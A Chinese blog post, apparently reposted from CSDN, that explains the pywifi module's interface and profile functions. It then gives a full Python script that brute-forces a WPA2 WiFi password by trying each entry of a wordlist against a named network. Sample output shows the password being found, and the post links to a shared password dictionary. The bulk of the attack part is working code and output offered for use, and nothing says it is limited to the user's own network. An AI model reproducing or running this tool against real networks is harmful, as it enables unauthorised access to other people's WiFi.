python pywifi模块——暴力破解wifi

pywifi模块介绍:
pywifi提供了一个跨平台的Python模块,用于操作无线接口
支持Windows和Linux
在python 2.7和3.5下运行

小小的讲解:

1.wifi接口的操作:

这里的接口指我们用来执行wifi操作(例如:扫描,连接,断开…)的接口

通常,我们平台中只有一个Wi-Fi接口,就像你主机不能同时连接多个wifi(骚操作就算了),因此,使用索引0来获得Wi-Fi接口

wifi = pywifi.PyWiFi()   #定义接口操作
iface = wifi.interfaces()[0]     #这里iface就是获取的wifi接口
#注意:以下的iface全部是指通过此方式获取的wifi接口,在实际操作中可以自己另外命名

接口名字:

iface.name()  #获取wifi接口名称

扫描wifi(AP):

iface.scan()  #触发接口扫描附近wifi(就是AP啦)

获取扫描结果:

iface.scan_result()   #获取先前触发扫描的结果,会返回一个列表哟

添加AP配置文件(为了连接):

iface.add_network_profile(配置文件名)  #下面会讲解如何进行配置

删除所有AP配置文件(为了下一次新的连接):

iface.remove_all_network_profiles()

返回配置文件列表:

iface.network_profiles()   #你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息

连接wifi:

iface.connect(配置文件名)  #通过给定的配置文件连接到指定的AP
#注意:添加AP配置文件add_network_profile(profile),应该在连接AP  iface.connect(profile)之前

断开AP连接:

iface.disconnect()  #断开当前的AP连接

获取当前接口状态:

iface.status()

将返回以下状态码之一(相信大家还是能看懂的,嘿嘿):
const.IFACE_DISCONNECTED
const.IFACE_SCANNING
const.IFACE_INACTIVE
const.IFACE_CONNECTING
const.IFACE_CONNECTED

2.配置文件:

生成配置文件对象:

profile=pywifi.Profile()    #生成对象而已,接下来就能对他进行配置操作了

配置文件的操作方式:

ssid - AP的名称
auth - AP的认证算法
akm - AP的密钥管理类型
cipher - AP的密码类型
key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

使用方式:

    profile.ssid='wifi_name'   #wifi名称
    profile.auth=const.AUTH_OPEN    #auth - AP的认证算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式
    profile.cipher=const.CIPHER_TYPE_CCMP  #cipher - AP的密码类型
    profile.key=password  #wifi密钥   key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

必要的说明:
auth - AP的认证算法:
也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置

const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED

akm - AP的密钥管理类型:

const.AKM_TYPE_NONE   #AP没有安全设置
const.AKM_TYPE_WPAPSK  #AP处于WPA模式
const.AKM_TYPE_WPA2PSK   #AP处于WPA2模式

AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了):
const.AKM_TYPE_WPA
const.AKM_TYPE_WPA2

cipher - AP的密码类型:

const.CIPHER_TYPE_NONE  #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP  #通常情况下设置为这个,虽然不知道是什么

接下来就要灵活使用上面的操作了

代码:

(还有点小问题,针对中文wifi名无法破解)

import pywifi
from pywifi import const  #引用一些定义
import time
def testwifi(password):

    wifi=pywifi.PyWiFi()   #抓取WiFi接口
    ifaces=wifi.interfaces()[0]  #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口
    #print(ifaces.name())  #我们可以试试输出网卡名称
    ifaces.disconnect()  #断开网卡连接

    profile=pywifi.Profile()   #定义配置文件对象
    profile.ssid='root'   #wifi名称,貌似不能用中文?
    profile.auth=const.AUTH_ALG_OPEN   #auth - AP的认证算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式  akm - AP的密钥管理类型
    profile.cipher=const.CIPHER_TYPE_CCMP  #cipher - AP的密码类型
    profile.key=password   #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE

    ifaces.remove_all_network_profiles()  #删除其他配置文件
    tmp_profile=ifaces.add_network_profile(profile)   #加载配置文件

    ifaces.connect(tmp_profile)   #按配置文件进行连接
    time.sleep(1)  #尝试几秒能否成功连接

    if ifaces.status() == const.IFACE_CONNECTED:   #判断连接状态
        return True
    else:
        return False

def main():
    print("start ...")
    path=r"wordlist.txt"
    files=open(path,'r')
    while True:
        f=files.readline()
        f = f[:-1]   #去除了这行文本的最后一个字符(换行符)后剩下的部分
        print('[-]正在尝试:', f)
        bool=testwifi(f)
        if bool:
            print('[+]wifi连接成功!')
            print("密码为:",f)
            break
        else:
            print("[-]wifi连接失败!")
        if not f:   #如果文件逐行读取完,则退出
            break
    files.close()

if __name__=="__main__":
    main()

运行结果:

start ...
[-]正在尝试: %null%
[-]wifi连接失败!
[-]正在尝试: %username%
[-]wifi连接失败!
[-]正在尝试: !@#$%^
[-]wifi连接失败!
[-]正在尝试: !@#$%^&
[-]wifi连接失败!
[-]正在尝试: !@#$%^&*
[-]wifi连接失败!
[-]正在尝试: 000000
[-]wifi连接失败!-]正在尝试: 00000000
[-]wifi连接失败!
[-]正在尝试: 0123456789
[-]wifi连接失败!
[-]正在尝试: 12345678
[+]wifi连接成功!
密码为: 12345678

该代码在读取密码文档到20行后,会抛出如下错误(ERROR Open handle failed!),但并不影响程序运行和结果:
在这里插入图片描述
如果有知道是什么原因的,希望能在评论区指出,谢谢。

关于pywifi模块的官方文档:https://github.com/awkman/pywifi
另外分享一个我在网上找的密码字典,看起来还不错:百度云 密码字典 提取码:ntfe

猜你喜欢

转载自blog.csdn.net/qq_28840013/article/details/85141156